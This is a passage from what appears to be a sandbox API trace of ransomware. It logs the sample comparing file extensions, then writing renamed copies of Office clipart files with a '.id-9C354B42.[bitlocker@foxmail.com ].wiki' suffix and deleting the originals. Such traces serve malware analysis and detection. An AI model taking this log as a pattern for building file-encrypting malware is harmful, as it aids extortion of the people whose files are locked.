(lpString=".ppt") returned 4 [0197.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.121] lstrlenW (lpString=".zip") returned 4 [0197.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.121] lstrlenW (lpString=".rar") returned 4 [0197.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.121] lstrlenW (lpString=".bz2") returned 4 [0197.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.121] lstrlenW (lpString=".7z") returned 3 [0197.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.121] lstrlenW (lpString=".dbf") returned 4 [0197.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.122] lstrlenW (lpString=".1cd") returned 4 [0197.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152594.WMF") returned 63 [0197.122] lstrlenW (lpString=".jpg") returned 4 [0197.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.122] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.122] lstrlenW (lpString="J0152600.WMF") returned 12 [0197.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.122] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9768) returned 1 [0197.122] CloseHandle (hObject=0x220) returned 1 [0197.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 0x20 [0197.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.123] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.123] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0197.123] GetLastError () returned 0x0 [0197.123] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2628, lpOverlapped=0x0) returned 1 [0197.125] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2630, lpOverlapped=0x0) returned 1 [0197.127] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.127] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.127] SetEndOfFile (hFile=0x1f4) returned 1 [0197.127] CloseHandle (hObject=0x1f4) returned 1 [0197.127] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.127] SetEndOfFile (hFile=0x220) returned 1 [0197.128] CloseHandle (hObject=0x220) returned 1 [0197.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0197.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.129] lstrlenW (lpString=".doc") returned 4 [0197.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.129] lstrlenW (lpString=".docx") returned 5 [0197.129] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.129] lstrlenW (lpString=".pdf") returned 4 [0197.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.129] lstrlenW (lpString=".xls") returned 4 [0197.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.129] lstrlenW (lpString=".xlsx") returned 5 [0197.129] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.129] lstrlenW (lpString=".ppt") returned 4 [0197.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.129] lstrlenW (lpString=".zip") returned 4 [0197.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.129] lstrlenW (lpString=".rar") returned 4 [0197.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.129] lstrlenW (lpString=".bz2") returned 4 [0197.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.129] lstrlenW (lpString=".7z") returned 3 [0197.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.130] lstrlenW (lpString=".dbf") returned 4 [0197.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.130] lstrlenW (lpString=".1cd") returned 4 [0197.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.130] lstrlenW (lpString=".jpg") returned 4 [0197.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.130] lstrlenW (lpString=".doc") returned 4 [0197.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.130] lstrlenW (lpString=".docx") returned 5 [0197.130] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0197.130] lstrlenW (lpString=".pdf") returned 4 [0197.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.130] lstrlenW (lpString=".xls") returned 4 [0197.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.130] lstrlenW (lpString=".xlsx") returned 5 [0197.130] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0197.130] lstrlenW (lpString=".ppt") returned 4 [0197.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.130] lstrlenW (lpString=".zip") returned 4 [0197.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.130] lstrlenW (lpString=".rar") returned 4 [0197.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.131] lstrlenW (lpString=".bz2") returned 4 [0197.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.131] lstrlenW (lpString=".7z") returned 3 [0197.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.131] lstrlenW (lpString=".dbf") returned 4 [0197.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.131] lstrlenW (lpString=".1cd") returned 4 [0197.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF") returned 63 [0197.131] lstrlenW (lpString=".jpg") returned 4 [0197.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.131] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.131] lstrlenW (lpString="J0152602.WMF") returned 12 [0197.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.132] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6276) returned 1 [0197.132] CloseHandle (hObject=0x220) returned 1 [0197.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 0x20 [0197.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.132] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.132] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0197.133] GetLastError () returned 0x0 [0197.133] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1884, lpOverlapped=0x0) returned 1 [0197.137] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1890, lpOverlapped=0x0) returned 1 [0197.138] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.138] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.138] SetEndOfFile (hFile=0x1f4) returned 1 [0197.138] CloseHandle (hObject=0x1f4) returned 1 [0197.138] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.138] SetEndOfFile (hFile=0x220) returned 1 [0197.139] CloseHandle (hObject=0x220) returned 1 [0197.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf")) returned 1 [0197.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.139] lstrlenW (lpString=".doc") returned 4 [0197.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.139] lstrlenW (lpString=".docx") returned 5 [0197.140] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.140] lstrlenW (lpString=".pdf") returned 4 [0197.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.140] lstrlenW (lpString=".xls") returned 4 [0197.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.140] lstrlenW (lpString=".xlsx") returned 5 [0197.140] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.140] lstrlenW (lpString=".ppt") returned 4 [0197.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.140] lstrlenW (lpString=".zip") returned 4 [0197.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.140] lstrlenW (lpString=".rar") returned 4 [0197.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.140] lstrlenW (lpString=".bz2") returned 4 [0197.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.140] lstrlenW (lpString=".7z") returned 3 [0197.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.140] lstrlenW (lpString=".dbf") returned 4 [0197.140] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.140] lstrlenW (lpString=".1cd") returned 4 [0197.140] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.140] lstrlenW (lpString=".jpg") returned 4 [0197.140] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.141] lstrlenW (lpString=".doc") returned 4 [0197.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.141] lstrlenW (lpString=".docx") returned 5 [0197.141] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0197.141] lstrlenW (lpString=".pdf") returned 4 [0197.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.141] lstrlenW (lpString=".xls") returned 4 [0197.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.141] lstrlenW (lpString=".xlsx") returned 5 [0197.141] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0197.141] lstrlenW (lpString=".ppt") returned 4 [0197.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.141] lstrlenW (lpString=".zip") returned 4 [0197.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.141] lstrlenW (lpString=".rar") returned 4 [0197.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.141] lstrlenW (lpString=".bz2") returned 4 [0197.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.141] lstrlenW (lpString=".7z") returned 3 [0197.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.141] lstrlenW (lpString=".dbf") returned 4 [0197.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.141] lstrlenW (lpString=".1cd") returned 4 [0197.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF") returned 63 [0197.142] lstrlenW (lpString=".jpg") returned 4 [0197.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.142] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0197.142] lstrlenW (lpString="J0152606.WMF") returned 12 [0197.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.142] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=16632) returned 1 [0197.142] CloseHandle (hObject=0x220) returned 1 [0197.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 0x20 [0197.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0197.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0197.143] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.143] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0197.143] GetLastError () returned 0x0 [0197.143] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x40f8, lpOverlapped=0x0) returned 1 [0197.145] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4100, lpOverlapped=0x0) returned 1 [0197.146] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0197.146] WriteFile (in: hFile=0x1f4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0197.146] SetEndOfFile (hFile=0x1f4) returned 1 [0197.147] CloseHandle (hObject=0x1f4) returned 1 [0197.147] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0197.147] SetEndOfFile (hFile=0x220) returned 1 [0197.148] CloseHandle (hObject=0x220) returned 1 [0197.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0197.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0197.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.148] lstrlenW (lpString=".doc") returned 4 [0197.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.148] lstrlenW (lpString=".docx") returned 5 [0197.148] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.148] lstrlenW (lpString=".pdf") returned 4 [0197.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.148] lstrlenW (lpString=".xls") returned 4 [0197.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.148] lstrlenW (lpString=".xlsx") returned 5 [0197.148] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.148] lstrlenW (lpString=".ppt") returned 4 [0197.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.149] lstrlenW (lpString=".zip") returned 4 [0197.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.149] lstrlenW (lpString=".rar") returned 4 [0197.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.149] lstrlenW (lpString=".bz2") returned 4 [0197.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.149] lstrlenW (lpString=".7z") returned 3 [0197.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.149] lstrlenW (lpString=".dbf") returned 4 [0197.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0197.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.149] lstrlenW (lpString=".1cd") returned 4 [0197.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0197.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.149] lstrlenW (lpString=".jpg") returned 4 [0197.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0197.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.149] lstrlenW (lpString=".doc") returned 4 [0197.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0197.149] lstrlenW (lpString=".docx") returned 5 [0197.149] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0197.149] lstrlenW (lpString=".pdf") returned 4 [0197.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0197.149] lstrlenW (lpString=".xls") returned 4 [0197.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0197.150] lstrlenW (lpString=".xlsx") returned 5 [0197.150] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0197.150] lstrlenW (lpString=".ppt") returned 4 [0197.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0197.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0197.150] lstrlenW (lpString=".zip") returned 4 [0197.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0197.150] lstrlenW (lpString=".rar") returned 4 [0197.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0197.150] lstrlenW (lpString=".bz2") returned 4 [0197.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0197.150] lstrlenW (lpString=".7z") returned 3 [0197.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0197.150] lstrlenW (lpString="C:\\Program Files\\Microsoft 